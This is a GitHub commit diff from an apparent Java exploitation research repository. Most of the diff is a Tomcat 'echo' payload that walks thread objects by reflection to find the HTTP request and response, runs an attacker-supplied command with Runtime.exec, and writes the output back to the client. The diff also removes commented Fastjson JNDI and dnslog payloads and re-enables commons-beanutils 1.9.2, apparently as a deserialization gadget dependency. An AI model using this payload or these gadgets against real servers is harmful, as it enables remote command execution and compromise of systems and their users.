Skip to content

Commit 8200f77

Browse files
committed
echo/Controller/Fastjson.java
1 parent 1741092 commit 8200f77

File tree

4 files changed

+18
-35
lines changed

4 files changed

+18
-35
lines changed

Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/dfs_classloader.java renamed to Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/AllEcho.java

Lines changed: 12 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -2,36 +2,29 @@
22
//Author:fnmsd
33
//Blog:https://blog.csdn.net/fnmsd
44

5-
import java.io.PrintWriter;
6-
import java.lang.reflect.Field;
7-
import java.lang.reflect.InvocationTargetException;
8-
import java.lang.reflect.Method;
9-
import java.util.HashSet;
10-
import java.util.Scanner;
5+
public class AllEcho {
116

12-
public class dfs_classloader {
13-
14-
static HashSet<Object> h;
15-
static ClassLoader cl = Thread.currentThread().getContextClassLoader();
7+
static java.util.HashSet<Object> h;
8+
static ClassLoader cl = java.lang.Thread.currentThread().getContextClassLoader();
169
static Class hsr;//HTTPServletRequest.class
1710
static Class hsp;//HTTPServletResponse.class
1811
static String cmd;
1912
static Object r;
2013
static Object p;
2114

22-
public dfs_classloader() {
15+
public AllEcho() {
2316

2417
r = null;
2518
p = null;
26-
h =new HashSet<Object>();
19+
h =new java.util.HashSet<Object>();
2720
try {
2821
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
2922
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
3023
} catch (ClassNotFoundException e) {
3124
e.printStackTrace();
3225
}
3326

34-
F(Thread.currentThread(),0);
27+
F(java.lang.Thread.currentThread(),0);
3528
}
3629

3730
private static boolean i(Object obj){
@@ -57,7 +50,7 @@ private static void p(Object o, int depth){
5750
}else{
5851
//System.out.println("find Request");
5952
try {
60-
Method getResponse = r.getClass().getMethod("getResponse");
53+
java.lang.reflect.Method getResponse = r.getClass().getMethod("getResponse");
6154
p = getResponse.invoke(r);
6255
} catch (Exception e) {
6356
//System.out.println("getResponse Error");
@@ -67,7 +60,7 @@ private static void p(Object o, int depth){
6760
}
6861
} catch (IllegalAccessException e) {
6962
e.printStackTrace();
70-
} catch (InvocationTargetException e) {
63+
} catch (java.lang.reflect.InvocationTargetException e) {
7164
e.printStackTrace();
7265
} catch (NoSuchMethodException e) {
7366
e.printStackTrace();
@@ -80,8 +73,9 @@ private static void p(Object o, int depth){
8073
}
8174
if(r !=null&& p !=null){
8275
try {
83-
PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p);
84-
pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
76+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
77+
java.io.PrintWriter pw = (java.io.PrintWriter)hsp.getMethod("getWriter").invoke(p);
78+
pw.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream(),charsetName).useDelimiter("\\A").next());
8579
pw.flush();
8680
pw.close();
8781
//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
@@ -97,7 +91,7 @@ private static void F(Object start, int depth){
9791

9892
Class n=start.getClass();
9993
do{
100-
for (Field declaredField : n.getDeclaredFields()) {
94+
for (java.lang.reflect.Field declaredField : n.getDeclaredFields()) {
10195
declaredField.setAccessible(true);
10296
Object o = null;
10397
try{

Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java

Lines changed: 1 addition & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -78,17 +78,6 @@ public static void main(String[] args) {
7878
System.out.println(ob.getClass().getName());
7979
}
8080

81-
// {"@type":"java.net.Inet4Address","val":"cr8s2f.dnslog.cn"}
82-
//{
83-
// "a":{
84-
// "@type":"java.lang.Class",
85-
// "val":"com.sun.rowset.JdbcRowSetImpl"
86-
//},
87-
// "b":{
88-
// "@type":"com.sun.rowset.JdbcRowSetImpl",
89-
// "dataSourceName":"ldap://127.0.0.1:6666/Test",
90-
// "autoCommit":"true"
91-
//}
92-
//}
81+
9382

9483
}

shiro/shiro-deser/pom.xml

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -75,11 +75,11 @@
7575
</dependency>
7676

7777
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
78-
<!-- <dependency>-->
79-
<!-- <groupId>commons-beanutils</groupId>-->
80-
<!-- <artifactId>commons-beanutils</artifactId>-->
81-
<!-- <version>1.9.4</version>-->
82-
<!-- </dependency>-->
78+
<dependency>
79+
<groupId>commons-beanutils</groupId>
80+
<artifactId>commons-beanutils</artifactId>
81+
<version>1.9.2</version>
82+
</dependency>
8383
<dependency>
8484
<groupId>org.apache.commons</groupId>
8585
<artifactId>commons-lang3</artifactId>
Binary file not shown.

0 commit comments

Comments
 (0)